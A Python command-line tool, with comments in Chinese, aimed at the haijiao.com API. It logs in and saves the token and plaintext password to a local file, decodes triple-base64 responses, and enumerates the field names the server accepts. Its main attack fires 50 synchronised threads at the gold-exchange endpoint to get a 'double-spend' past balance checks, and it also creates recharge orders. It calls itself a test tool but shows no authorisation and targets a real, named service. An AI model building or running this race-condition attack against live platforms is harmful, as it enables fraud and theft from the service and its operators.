#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ haijiao.com 余额操作工具（测试用） 端点、加密方式、认证头全部来自实测，非猜测。 用法: python hj.py login python hj.py wealth python hj.py get /user/wealth python hj.py post /recharge/create '{"channelId":77,"amount":50}' python hj.py fields /exchange/gold itemId quantity num count # 枚举服务端接受的字段名 python hj.py race /exchange/gold '{"itemId":1}' 50 # 并发双花 python hj.py order 77 50 # 创建充值单 依赖: pip install requests """ import base64 import json import os import sys import threading import time import requests BASE = "https://haijiao.com/api" STATE = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".hj_state.json") UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36") # ---------- 编解码 / 状态 ---------- def dec3(data): """响应加密：Base64 解码 3 次得明文""" if not isinstance(data, str): return data try: s = data for _ in range(3): s = base64.b64decode(s).decode("utf-8") return s except Exception: return data def load(): if os.path.exists(STATE): with open(STATE, "r", encoding="utf-8") as f: return json.load(f) return {} def save(st): with open(STATE, "w", encoding="utf-8") as f: json.dump(st, f, ensure_ascii=False, indent=2) def headers(st): h = { "User-Agent": UA, "pcVer": "2", "Origin": "https://haijiao.com", "Referer": "https://haijiao.com/", "Content-Type": "application/json", } if st.get("token"): h["X-User-Token"] = st["token"] if st.get("uid"): h["X-User-Id"] = str(st["uid"]) return h # ---------- 请求 ---------- def call(method, path, body=None, st=None, timeout=20): st = st or load() url = BASE + path try: if method == "GET": r = requests.get(url, headers=headers(st), timeout=timeout) else: r = requests.post(url, headers=headers(st), data=body if isinstance(body, str) else json.dumps(body), timeout=timeout) txt = r.text try: j = r.json() except Exception: return {"_raw": txt, "_status": r.status_code} if j.get("isEncrypted"): j["data_decoded"] = dec3(j.get("data")) j["_status"] = r.status_code return j except requests.exceptions.ConnectionError as e: return {"_error": "CONN_RESET/WAF", "_detail": str(e)[:120]} except Exception as e: return {"_error": type(e).__name__, "_detail": str(e)[:160]} def show(j, label=""): if label: print("==", label) if "_error" in j: print(" !!", j["_error"], j.get("_detail", "")) return if j.get("isEncrypted"): d = j.get("data_decoded") print(" code=%s msg=%s" % (j.get("errorCode"), j.get("message"))) try: print(" data:", json.dumps(json.loads(d), ensure_ascii=False)[:1200]) except Exception: print(" data:", str(d)[:1200]) else: print(" ", json.dumps(j, ensure_ascii=False)[:1200]) # ---------- 命令 ---------- def cmd_login(user, pwd): j = call("POST", "/login/signin", {"username": user, "password": pwd}, st={}) if not j.get("isEncrypted"): show(j, "login failed") return d = json.loads(j["data_decoded"]) st = {"token": d.get("token"), "uid": (d.get("user") or {}).get("id"), "username": user, "password": pwd, "login_at": time.strftime("%Y-%m-%d %H:%M:%S")} save(st) u = d.get("user") or {} print("login OK") print(" token :", st["token"]) print(" uid :", st["uid"]) print(" nickname :", u.get("nickname")) print(" gold :", u.get("gold"), " diamond:", u.get("diamond")) print(" vip :", u.get("vip"), " payPwdSet:", u.get("payPasswordSet")) def cmd_wealth(): show(call("GET", "/user/wealth"), "wealth") def cmd_get(path): show(call("GET", path), "GET " + path) def cmd_post(path, body): show(call("POST", path, body), "POST " + path) def cmd_fields(path, *names): """服务端严格绑定：字段名对 -> 走业务逻辑；错 -> 参数名错误""" print("field-name probing on", path) for n in names: j = call("POST", path, json.dumps({n: 1}, ensure_ascii=False)) if "_error" in j: verdict = "?? " + j["_error"] else: msg = j.get("message") or "" if j.get("isEncrypted"): verdict = "ACCEPTED (reached business logic)" elif "参数名错误" in msg: verdict = "rejected" else: verdict = "ACCEPTED -> " + msg print(" %-16s %s" % (n, verdict)) time.sleep(0.25) def cmd_race(path, body, threads=50): """并发双花：同一请求同时发出，看是否突破余额校验/重复发货""" try: n = int(threads) except ValueError: n = 50 results = [] lock = threading.Lock() barrier = threading.Barrier(n) def worker(i): try: barrier.wait(timeout=15) except Exception: pass j = call("POST", path, body, timeout=25) with lock: results.append(j) ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)] t0 = time.time() for t in ts: t.start() for t in ts: t.join() dt = time.time() - t0 ok = err = 0 tally = {} for j in results: if "_error" in j: err += 1 continue msg = j.get("message") or ("OK" if j.get("isEncrypted") else "?") tally[msg] = tally.get(msg, 0) + 1 if j.get("isEncrypted"): ok += 1 print("race: %d threads in %.2fs" % (n, dt)) print(" success:", ok, " errors:", err) for k, v in sorted(tally.items(), key=lambda x: -x[1]): print(" %-24s %d" % (k[:24], v)) show(call("GET", "/user/wealth"), "wealth after race") def cmd_order(channel, amount): body = json.dumps({ "channelId": int(channel), "amount": int(amount), "returnUrl": "https://haijiao.com/gold/transactionlist", }) j = call("POST", "/recharge/create", body) show(j, "recharge/create") if j.get("isEncrypted"): try: d = json.loads(j["data_decoded"]) print(" orderId:", d.get("orderId")) print(" payUrl :", d.get("payUrl")) print(" -> 用手机 UA 打开 payUrl 确认网关是否还活着") except Exception: pass def main(): a = sys.argv[1:] if not a: print(__doc__) return c = a[0] try: if c == "login": cmd_login(a[1], a[2]) elif c == "wealth": cmd_wealth() elif c == "get": cmd_get(a[1]) elif c == "post": cmd_post(a[1], a[2] if len(a) > 2 else "{}") elif c == "fields": cmd_fields(a[1], *a[2:]) elif c == "race": cmd_race(a[1], a[2], a[3] if len(a) > 3 else 50) elif c == "order": cmd_order(a[1], a[2]) else: print(__doc__) except IndexError: print(__doc__) if __name__ == "__main__": main()